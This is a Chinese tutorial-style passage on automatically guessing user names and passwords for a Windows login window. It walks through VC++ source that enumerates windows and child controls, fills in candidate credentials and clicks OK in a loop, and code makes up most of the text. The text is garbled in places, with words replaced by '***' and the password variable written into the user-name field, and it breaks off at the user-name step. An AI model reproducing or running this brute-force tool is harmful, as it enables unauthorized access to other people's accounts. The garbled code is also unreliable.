Windows *** 用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到 *** 登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位 *** 登录窗口上的各个控件。 利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个 *** 登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成 *** 用户名及密码的枚举猜解。 一、猜解过程流程: 为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符 *** 已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符 *** 。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。 下面给出关键流程的源代码 1. 全局变量: struct _Thread { CWinThread *pThread; }; _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数 CEvent gEventNextPass;//取下一个密码,为实现同步引进 CEvent gEventPassOk;//已取得密码,为实现同步引进 CEvent gEventNextUser;//取下一个用户名,为实现同步引进 CEvent gEventUserOk;// 已取得用户名,为实现同步引进 CMutex gMutex;//互斥量,只允许单线程访问 char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。 char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名 2. 线程启动: { file://密码枚举线程 if(PassTread[0].pThread==NULL) { PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL, THREAD_PRIORITY_LOWEST); PassTread[0].pThread->m_bAutoDelete=TRUE; file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多 } file://用户名枚举线程 if(UserTread[0].pThread==NULL) { UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL, THREAD_PRIORITY_LOWEST); PassTread[0].pThread->m_bAutoDelete=TRUE; } file://窗口枚举线程 for(int i=0;i { if(WindowThread[i].pThread==NULL){ WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL, THREAD_PRIORITY_LOWEST); WindowThread[i].pThread->m_bAutoDelete=TRUE; } }3.窗口及子窗口枚举 UINT ThreadProc(LPVOID *pPraram) { while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;} return 0; } BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) { char lpWinTitle[MAX_LINELENGTH]; ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1); if(strcmp(lpWinTitle,sTitle)==0)// sTitle: *** 登录窗口的窗口名 { gMutex.Lock(INFINITE);//防止两个线程同时操作 while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL)); gMutex.Unlock(); return FALSE; } return TRUE; } BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam) { char sChildName[MAX_LINELENGTH]; ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1); file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的 file://各个子窗口 // 的属性。通过对比各控件的风格或名字来区别各控件。 if(strcmp(sChildName,"Edit")==0) { DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE); if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件 { gEventNextPass.SetEvent();//发送“新密码”事件 WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件 gEventPassOk.ResetEvent(); file://复位 ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass); file://把新密码填到密码输入框,也可用SetWindowText() bPass=TRUE;//记录密码已填入 if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。 { ::SendMessage(::GetParent(hOk),WM_COMMAND, (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); file://向“确定”按钮送消息,参照ClassWizard的消息映射 bUser=FALSE;bPass=FALSE;hOk=NULL; file://完成一次登录,初始化 return FALSE; } return TRUE; } file://非此即彼,这是用户名输入编辑控件 if((dWinSty&ES_READON *** )!=ES_READON *** ) { ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass); file://把新用户名填到用户名输入框,也可用SetWindowText() bUser=TRUE;// 新用户名已填入用户名输入框 if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。 { ::SendMessage(::GetParent(hOk),WM_COMMAND, (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); file://向“确定”按钮送消息,参照ClassWizard的消息映射 bUser=FALSE;bPass=FALSE;hOk=NULL; file://完成一次登录,初始化 return FALSE; } } return TRUE; } file://如果是按钮控件 if(strcmp(sChildName,"Button")==0) { char sChildTitle[MAX_LINELENGTH]; ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1); if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE; // sButtonOk:登录窗口中“OK”按钮的标题 hOk=hwnd;//记录“OK”窗口句柄 if(bUser&&bPass) { ::SendMessage(::GetParent(hOk),WM_COMMAND, (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); file://向“确定”按钮送消息,参照ClassWizard的消息映射 bUser=FALSE;bPass=FALSE;hOk=NULL; file://完成一次登录,初始化 return FALSE; } return TRUE; } return TRUE; } 4.用户名枚举:
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